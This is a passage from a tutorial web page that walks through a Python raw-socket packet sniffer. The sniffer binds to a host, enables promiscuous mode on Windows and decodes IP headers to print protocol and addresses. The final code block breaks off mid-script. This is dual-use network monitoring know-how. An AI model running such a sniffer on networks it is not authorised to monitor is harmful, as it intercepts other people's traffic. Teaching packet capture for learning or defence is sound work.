<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="# create a raw socket and bind it to the public interface
if os.name == &quot;nt&quot;:
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) " style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F"># create a raw socket and bind it to the public interface</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_IP</span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_ICMP</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_RAW</span><span style="color: #F8F8F2">, socket_protocol) </span></span></code></pre></div>



<p class="wp-block-paragraph">Here, a raw socket is created. The choice between <code>socket.IPPROTO_IP</code> and <code>socket.IPPROTO_ICMP</code> depends on the operating system. For Windows (<code>os.name == "nt"</code>), the protocol is set to <code>IPPROTO_IP</code>; otherwise, it&#8217;s set to <code>IPPROTO_ICMP</code>.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="sniffer.bind((host, 0))" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">sniffer.bind((host, </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">))</span></span></code></pre></div>



<p class="wp-block-paragraph">The socket is bound to the specified host and port 0. Port 0 is used to let the operating system choose an available port.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F"># we want the IP headers included in the capture</span></span>
<span class="line"><span style="color: #F8F8F2">sniffer.setsockopt(socket.</span><span style="color: #AE81FF">IPPROTO_IP</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">IP_HDRINCL</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<p class="wp-block-paragraph">This line indicates that the IP headers should be included in the captured packet.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="# if we're on Windows, we need to send an IOCTL
# to set up promiscuous mode
if os.name == &quot;nt&quot;: 
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F"># if we&#39;re on Windows, we need to send an IOCTL</span></span>
<span class="line"><span style="color: #88846F"># to set up promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">: </span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_ON</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<p class="wp-block-paragraph">On Windows, an IOCTL (Input/Output Control) command is sent to the socket to enable promiscuous mode, allowing the socket to capture all incoming packets, not just those destined for the machine.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="# read in a single packet
print(sniffer.recvfrom(65535))" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F"># read in a single packet</span></span>
<span class="line"><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(sniffer.recvfrom(</span><span style="color: #AE81FF">65535</span><span style="color: #F8F8F2">))</span></span></code></pre></div>



<p class="wp-block-paragraph">This line reads a single packet (up to 65535 bytes) from the network and prints the packet content. The <code>recvfrom</code> method returns a tuple containing the received data and the address from which it was received.</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="# if we're on Windows, turn off promiscuous mode
if os.name == &quot;nt&quot;:
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F"># if we&#39;re on Windows, turn off promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_OFF</span><span style="color: #F8F8F2">)</span></span></code></pre></div>



<p class="wp-block-paragraph">If the script is running on Windows, it turns off promiscuous mode after capturing the packet.</p>



<p class="wp-block-paragraph">Unauthorized interception of network traffic is generally illegal and against ethical guidelines.</p>



<h2 class="wp-block-heading">Decoding IP Layer</h2>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-highlight-hover" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(253, 253, 237, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">Python</span><span role="button" tabindex="0" data-code="import socket
import os
import struct
from ctypes import *

# host to listen on.... Changes IP Where You want to Listen... YOUR IP
host = &quot;192.168.123.187&quot;


class IP(Structure):
    _fields_ = [
        (&quot;ihl&quot;, c_ubyte, 4),
        (&quot;version&quot;, c_ubyte, 4),
        (&quot;tos&quot;, c_ubyte),
        (&quot;len&quot;, c_ushort),
        (&quot;id&quot;, c_ushort),
        (&quot;offset&quot;, c_ushort),
        (&quot;ttl&quot;, c_ubyte),
        (&quot;protocol_num&quot;, c_ubyte),
        (&quot;sum&quot;, c_ushort),
        (&quot;src&quot;, c_uint32),
        (&quot;dst&quot;, c_uint32)
    ]

    def __new__(cls, socket_buffer=None):
        return cls.from_buffer_copy(socket_buffer)

    def __init__(self, socket_buffer=None):
        self.socket_buffer = socket_buffer

        # map protocol constants to their names
        self.protocol_map = {1: &quot;ICMP&quot;, 6: &quot;TCP&quot;, 17: &quot;UDP&quot;}

        # human readable IP addresses
        self.src_address = socket.inet_ntoa(struct.pack(&quot;@I&quot;, self.src))
        self.dst_address = socket.inet_ntoa(struct.pack(&quot;@I&quot;, self.dst))

        # human readable protocol
        try:
            self.protocol = self.protocol_map[self.protocol_num]
        except IndexError:
            self.protocol = str(self.protocol_num)


# create a raw socket and bind it to the public interface
if os.name == &quot;nt&quot;:
    socket_protocol = socket.IPPROTO_IP
else:
    socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)

sniffer.bind((host, 0))

# we want the IP headers included in the capture
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

# if we're on Windows we need to send some ioctl
# to setup promiscuous mode
if os.name == &quot;nt&quot;:
    sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

try:
    while True:
        # read in a single packet
        raw_buffer = sniffer.recvfrom(65535)[0]

        # create an IP header from the first 20 bytes of the buffer
        ip_header = IP(raw_buffer[:20])

        print(&quot;Protocol: %s %s -&gt; %s&quot; % (
            ip_header.protocol,
            ip_header.src_address,
            ip_header.dst_address)
              )

except KeyboardInterrupt:
    # if we're on Windows turn off promiscuous mode
    if os.name == &quot;nt&quot;:
        sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> socket</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> os</span></span>
<span class="line"><span style="color: #F92672">import</span><span style="color: #F8F8F2"> struct</span></span>
<span class="line"><span style="color: #F92672">from</span><span style="color: #F8F8F2"> ctypes </span><span style="color: #F92672">import</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">*</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># host to listen on.... Changes IP Where You want to Listen... YOUR IP</span></span>
<span class="line"><span style="color: #F8F8F2">host </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;192.168.123.187&quot;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #66D9EF; font-style: italic">class</span><span style="color: #F8F8F2"> </span><span style="color: #A6E22E; text-decoration: underline">IP</span><span style="color: #F8F8F2">(</span><span style="color: #A6E22E; font-style: italic; text-decoration: underline">Structure</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">    _fields_ </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> [</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;ihl&quot;</span><span style="color: #F8F8F2">, c_ubyte, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;version&quot;</span><span style="color: #F8F8F2">, c_ubyte, </span><span style="color: #AE81FF">4</span><span style="color: #F8F8F2">),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;tos&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;len&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;id&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;offset&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;ttl&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;protocol_num&quot;</span><span style="color: #F8F8F2">, c_ubyte),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;sum&quot;</span><span style="color: #F8F8F2">, c_ushort),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;src&quot;</span><span style="color: #F8F8F2">, c_uint32),</span></span>
<span class="line"><span style="color: #F8F8F2">        (</span><span style="color: #E6DB74">&quot;dst&quot;</span><span style="color: #F8F8F2">, c_uint32)</span></span>
<span class="line"><span style="color: #F8F8F2">    ]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__new__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">cls</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">return</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">cls</span><span style="color: #F8F8F2">.from_buffer_copy(socket_buffer)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #66D9EF; font-style: italic">def</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">__init__</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F; font-style: italic">self</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F; font-style: italic">socket_buffer</span><span style="color: #F92672">=</span><span style="color: #AE81FF">None</span><span style="color: #F8F8F2">):</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.socket_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket_buffer</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># map protocol constants to their names</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_map </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> {</span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;ICMP&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">6</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;TCP&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">17</span><span style="color: #F8F8F2">: </span><span style="color: #E6DB74">&quot;UDP&quot;</span><span style="color: #F8F8F2">}</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># human readable IP addresses</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.src_address </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.inet_ntoa(struct.pack(</span><span style="color: #E6DB74">&quot;@I&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.src))</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.dst_address </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.inet_ntoa(struct.pack(</span><span style="color: #E6DB74">&quot;@I&quot;</span><span style="color: #F8F8F2">, </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.dst))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># human readable protocol</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_map[</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_num]</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">IndexError</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">            </span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">str</span><span style="color: #F8F8F2">(</span><span style="color: #FD971F">self</span><span style="color: #F8F8F2">.protocol_num)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># create a raw socket and bind it to the public interface</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_IP</span></span>
<span class="line"><span style="color: #F92672">else</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    socket_protocol </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.</span><span style="color: #AE81FF">IPPROTO_ICMP</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> socket.socket(socket.</span><span style="color: #AE81FF">AF_INET</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">SOCK_RAW</span><span style="color: #F8F8F2">, socket_protocol)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">sniffer.bind((host, </span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">))</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># we want the IP headers included in the capture</span></span>
<span class="line"><span style="color: #F8F8F2">sniffer.setsockopt(socket.</span><span style="color: #AE81FF">IPPROTO_IP</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">IP_HDRINCL</span><span style="color: #F8F8F2">, </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F"># if we&#39;re on Windows we need to send some ioctl</span></span>
<span class="line"><span style="color: #88846F"># to setup promiscuous mode</span></span>
<span class="line"><span style="color: #F92672">if</span><span style="color: #F8F8F2"> os.name </span><span style="color: #F92672">==</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">&quot;nt&quot;</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    sniffer.ioctl(socket.</span><span style="color: #AE81FF">SIO_RCVALL</span><span style="color: #F8F8F2">, socket.</span><span style="color: #AE81FF">RCVALL_ON</span><span style="color: #F8F8F2">)</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">try</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">    </span><span style="color: #F92672">while</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">True</span><span style="color: #F8F8F2">:</span></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># read in a single packet</span></span>
<span class="line"><span style="color: #F8F8F2">        raw_buffer </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> sniffer.recvfrom(</span><span style="color: #AE81FF">65535</span><span style="color: #F8F8F2">)[</span><span style="color: #AE81FF">0</span><span style="color: #F8F8F2">]</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #88846F"># create an IP header from the first 20 bytes of the buffer</span></span>
<span class="line"><span style="color: #F8F8F2">        ip_header </span><span style="color: #F92672">=</span><span style="color: #F8F8F2"> IP(raw_buffer[:</span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2">])</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F8F8F2">        </span><span style="color: #66D9EF">print</span><span style="color: #F8F8F2">(</span><span style="color: #E6DB74">&quot;Protocol: </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74"> -&gt; </span><span style="color: #AE81FF">%s</span><span style="color: #E6DB74">&quot;</span><span style="color: #F8F8F2"> </span><span style="color: #F92672">%</span><span style="color: #F8F8F2"> (</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.protocol,</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.src_address,</span></span>
<span class="line"><span style="color: #F8F8F2">            ip_header.dst_address)</span></span>
<span class="line"><span style="color: #F8F8F2">              )</span></span>
<span class="line"></span>
<span class="line"><span style="color: #F92672">except</span><span style="color: #F8F8F2"> </span><span style="color: #66D9EF; font-style: italic">KeyboardInterrupt</span><span style="color: #F8F8F2">:</span></span>
